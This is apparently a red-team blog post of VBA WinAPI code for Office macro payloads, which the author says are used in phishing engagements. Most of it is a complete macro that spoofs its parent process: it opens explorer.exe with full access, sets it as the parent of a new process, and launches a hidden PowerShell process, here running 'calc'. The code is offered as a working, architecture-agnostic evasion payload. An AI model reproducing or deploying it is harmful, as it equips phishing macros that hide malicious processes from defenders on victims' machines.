Some examples of VBA WinAPI in Office 32-bit and Office 64-bit, useful for Offensive Security Development.
This post will serve as a reference for myself and any others who find it useful, on how to develop and build VBA payloads which make heavy use of the Windows API. Some of my most successful engagements which involve phishing stages have been very successful using custom VBA payloads.
I will continually update this so please bare with me.
As shown above the examples are using ByVal but pointers are regularly used when programming in the WinAPI. Visual Basic does not allow to use pointers directly, but we can use the ByRef in the declaration to mimic a pointer. It will then pass the memory location of the variable to the function, rather than the value.
x86 - 64-bit Compatibility
We want our payloads to be agnostic of the architecture they are executed on. Since Office 2010 the applications are available as 64-bit as well as 32-bit. This introduces additional complexity. When declaring our functions or executing code that may differ between 32-bit and 64-bit we we can follow these rules of thumb:
If you are on a 64-bit version of Windows, but are on a 32-bit version of Office, you can declare API calls like below. The Win64 is relevent here because you could be on pre-VBA7, e.g. VBA6, but with a 64-bit OS and therefore the declaration VBA7 would not exist.
#If Win64 Then
Declare PtrSafe Function GetTickCount64 Lib "kernel32"() As LongLong
#Else
Declare PtrSafe Function GetTickCount Lib "kernel32" () As Long
#End If
If you are on a 64-bit version of Windows, and are on a 64-bit version of Office, you can declare API calls like below because VBA7 keyword is not actually available on anything other that 64-bit OS.
#If VBA7 Then
Declare PtrSafe Function FindWindow Lib "user32" Alias "FindWindowA" ( _
ByVal lpClassName As String, _
ByVal lpWindowName As String) As LongPtr
#Else
Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal _
lpClassName As String, ByVal lpWindowName As String) As Long
#End If
Since the switch to VBA7 three new keywords were introduced (2 data types and 1 modifier): LongPtr, LongLong and PtrSafe . Additionally, LongPtr is an alias, therefore it will always work as expected on either architecture and Office architecture.
We also see an argument type of LPSECURITY_ATTRIBUTES , however in CreateFile this can be a Null pointer, so we do not need to use this struct.
#If Win64 Then Private Declare PtrSafe Function CreateFile Lib "Kernel32" Alias "CreateFileA" ( _ ByVal lpFileName As String, _ ByVal dwDesiredAccess As Long, _ ByVal dwShareMode As Long, _ lpSecurityAttributes As Any, _ ByVal dwCreationDisposition As Long, _ ByVal dwFlagsAndAttributes As Long, _ ByVal hTemplateFile As Long _ ) As Long Private Declare PtrSafe Function CloseHandle Lib "Kernel32" ( _ ByVal hObject As Long _ ) As Long#Else Private Declare Function CreateFile Lib "Kernel32" Alias "CreateFileA" ( _ ByVal lpFileName As String, _ ByVal dwDesiredAccess As Long, _ ByVal dwShareMode As Long, _ lpSecurityAttributes As Any, _ ByVal dwCreationDisposition As Long, _ ByVal dwFlagsAndAttributes As Long, _ ByVal hTemplateFile As Long _ ) As Long Private Declare Function CloseHandle Lib "Kernel32" ( _ ByVal hObject As Long _ ) As Long#End IfPrivate Const GENERIC_READ =&H80000000Private Const GENERIC_WRITE =&H40000000Private Const FILE_SHARE_READ =&H1Private Const FILE_SHARE_WRITE =&H2Private Const OPEN_ALWAYS =&H4Private Const FILE_ATTRIBUTE_NORMAL =&H80Public Function Test() Dim hFile As Long hFile = CreateFile("C:\Users\Mitch\Desktop\testfile.txt", GENERIC_WRITE, FILE_SHARE_READ Or FILE_SHARE_WRITE, ByVal 0&, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0)
CloseHandle (hFile)End Function
In the above example we create a file C:\Users\mitch\Desktop\testfile.txt and this was tested on a Windows 10 64-bit with Office 32-bit and also Office 64-bit.
Parent Process Spoofing on 32-bit and 64-bit Office
As we try and program more complex scenarios into our payloads for example a CreateProcess() call which also spoofs our parent process ID, some of the APIs that we need to use have changed slightly between different OS architectures and Office Architectures.
Below I have included a macro payload I built that will:
Get the PID of explorer.exe
Get a handle to the explorer.exe process
Create an EXTENDEDSTARTUPINFOEX structure pointing the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute to the handle we retrieve.
Spawn a powershell.exe process with explorer.exe set as its parent process.
Although this actual payload is not new or groundbreaking, what makes it different from other online resources is that it works both on Office 32-bit and Office 64-bit.
Option ExplicitConst MAX_PATH =260Const SW_HIDE =&H0&Const HEAP_ZERO_MEMORY =&H8&Const TH32CS_SNAPPROCESS =&H2Const PROCESS_ALL_ACCESS =&H1F0FFFConst CREATE_NEW_CONSOLE =&H10Const EXTENDED_STARTUPINFO_PRESENT =&H80000Const PROC_THREAD_ATTRIBUTE_PARENT_PROCESS =&H20000#If VBA7 And Win64 Then Private Type PROCESSENTRY32 dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32DefaultHeapIDB As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long pcPriClassBaseB As Long dwFlags As Long szExeFile As String * MAX_PATH End Type Private Type PROCESS_INFORMATION hProcess As LongPtr hThread As LongPtr dwProcessId As Long dwThreadId As Long End Type Private Type STARTUP_INFO cb As Long lpReserved As String lpDesktop As String lpTitle As String dwX As Long dwY As Long dwXSize As Long dwYSize As Long dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As LongPtr hStdInput As LongPtr hStdOutput As LongPtr hStdError As LongPtr End Type Private Type STARTUPINFOEX STARTUPINFO As STARTUP_INFO lpAttributelist As LongPtr End Type Private Declare PtrSafe Function GetProcessHeap Lib "kernel32" () As LongPtr Private Declare PtrSafe Function CreateProcess Lib "kernel32" Alias "CreateProcessA" ( _ ByVal lpApplicationName As String, _ ByVal lpCommandLine As String, _ lpProcessAttributes As Long, _ lpThreadAttributes As Long, _ ByVal bInheritHandles As Long, _ ByVal dwCreationFlags As Long, _ lpEnvironment As Any, _ ByVal lpCurrentDriectory As String, _ ByVal lpStartupInfo As LongPtr, _ lpProcessInformation As PROCESS_INFORMATION _ ) As Long Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" ( _ ByVal dwAccess As Long, _ ByVal fInherit As Integer, _ ByVal hObject As Long _ ) As LongPtr Private Declare PtrSafe Function CreateToolhelp32Snapshot Lib "kernel32.dll" ( _ ByVal dwFlags As Integer, _ ByVal th32ProcessID As Integer _ ) As Long Private Declare PtrSafe Function Process32First Lib "kernel32.dll" ( _ ByVal hSnapshot As LongPtr, _ ByRef lppe As PROCESSENTRY32 _ ) As Long Private Declare PtrSafe Function Process32Next Lib "kernel32.dll" ( _ ByVal hSnapshot As LongPtr, _ ByRef lppe As PROCESSENTRY32 _ ) As Long Private Declare PtrSafe Function HeapAlloc Lib "kernel32" ( _ ByVal hHeap As LongPtr, ByVal dwFlags As Long, _ ByVal dwBytes As Long _ ) As LongPtr Private Declare PtrSafe Function CloseHandle Lib "kernel32" ( _ ByVal hObject As LongPtr _ ) As Long Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _ ByVal lpAttributelist As LongPtr, _ ByVal dwAttributeCount As Integer, _ ByVal dwFlags As Integer, _ ByRef lpSize As Integer _ ) As Boolean Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _ ByVal lpAttributelist As LongPtr, _ ByVal dwFlags As Integer, _ ByVal lpAttribute As Long, _ ByRef lpValue As LongPtr, _ ByVal cbSize As Integer, _ ByRef lpPreviousValue As Integer, _ ByRef lpReturnSize As Integer _ ) As Boolean#Else Private Type PROCESSENTRY32 dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long dwFlags As Long szExeFile As String * MAX_PATH End Type Private Type PROCESS_INFORMATION hProcess As Long hThread As Long dwProcessId As Long dwThreadId As Long End Type Private Type STARTUP_INFO cb As Long lpReserved As String lpDesktop As String lpTitle As String dwX As Long dwY As Long dwXSize As Long dwYSize As Long dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As LongPtr hStdInput As LongPtr hStdOutput As LongPtr hStdError As LongPtr End Type Private Type STARTUPINFOEX STARTUPINFO As STARTUP_INFO lpAttributelist As Long End Type Private Declare Function GetProcessHeap Lib "kernel32" () As Long Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" ( _ ByVal lpApplicationName As String, _ ByVal lpCommandLine As String, _ lpProcessAttributes As Any, _ lpThreadAttributes As Any, _ ByVal bInheritHandles As Long, _ ByVal dwCreationFlags As Long, _ lpEnvironment As Any, _ ByVal lpCurrentDriectory As String, _ ByVal lpStartupInfo As Long, _ lpProcessInformation As PROCESS_INFORMATION _ ) As Long Private Declare Function OpenProcess Lib "kernel32.dll" ( _ ByVal dwAccess As Long, _ ByVal fInherit As Integer, _ ByVal hObject As Long _ ) As Long Private Declare Function CreateToolhelp32Snapshot Lib "kernel32.dll" ( _ ByVal dwFlags As Integer, _ ByVal th32ProcessID As Integer _ ) As Long Private Declare Function Process32First Lib "kernel32.dll" ( _ ByVal hSnapshot As Long, _ ByRef lppe As PROCESSENTRY32 _ ) As Boolean Private Declare Function Process32Next Lib "kernel32.dll" ( _ ByVal hSnapshot As Long, _ ByRef lppe As PROCESSENTRY32 _ ) As Boolean Private Declare Function HeapAlloc Lib "kernel32" ( _ ByVal hHeap As Long, ByVal dwFlags As Long, _ ByVal dwBytes As Long _ ) As Long Private Declare Function CloseHandle Lib "kernel32" ( _ ByVal hObject As Long _ ) As Long Private Declare Function InitializeProcThreadAttributeList Lib "kernel32" ( _ ByVal lpAttributelist As Long, _ ByVal dwAttributeCount As Integer, _ ByVal dwFlags As Integer, _ ByRef lpSize As Integer _ ) As Boolean Private Declare Function UpdateProcThreadAttribute Lib "kernel32" ( _ ByVal lpAttributelist As Long, _ ByVal dwFlags As Integer, _ ByVal lpAttribute As Long, _ ByRef lpValue As Long, _ ByVal cbSize As Integer, _ ByRef lpPreviousValue As Integer, _ ByRef lpReturnSize As Integer _ ) As Boolean#End IfPublic Function getPidByName(ByVal ProcName As String) As Integer Dim pEntry As PROCESSENTRY32 Dim ProcessFound As BooleanpEntry.dwSize=Len(pEntry)#If Win64 And VBA7 Then Dim snapshot As LongPtr#Else Dim snapshot As Long#End If snapshot =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ByVal 0&) ProcessFound =Process32First(snapshot, pEntry) Do If Left$(pEntry.szExeFile,Len(ProcName)) = LCase$(ProcName) Then getPidByName =pEntry.th32ProcessID ProcessFound = False Else ProcessFound =Process32Next(snapshot, pEntry) End If Loop While ProcessFoundEnd FunctionSub Test() Dim pi As PROCESS_INFORMATION Dim si As STARTUPINFOEX Dim sNull As String Dim pid As Integer Dim r As Integer Dim threadAttribSize As Integer Dim strCmdLine As String#If VBA7 And Win64 Then Dim hParent As LongPtr#Else Dim hParent As Long#End If strCmdLine ="powershell.exe -c calc" r =InitializeProcThreadAttributeList(ByVal 0&,1,0, threadAttribSize)si.lpAttributelist=HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize) r =InitializeProcThreadAttributeList(si.lpAttributelist,1,0, threadAttribSize) pid =getPidByName("explorer.exe") hParent =OpenProcess(PROCESS_ALL_ACCESS, False, pid) r = UpdateProcThreadAttribute(si.lpAttributelist, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, hParent, Len(hParent), ByVal 0&, ByVal 0&)
si.STARTUPINFO.cb=LenB(si)si.STARTUPINFO.dwFlags=1si.STARTUPINFO.wShowWindow= SW_HIDE r =CreateProcess( _ sNull, _ strCmdLine, _ ByVal 0&, _ ByVal 0&, _1&, _ EXTENDED_STARTUPINFO_PRESENT Or CREATE_NEW_CONSOLE, _ ByVal 0&, _ sNull, _VarPtr(si), _ pi _ )End Sub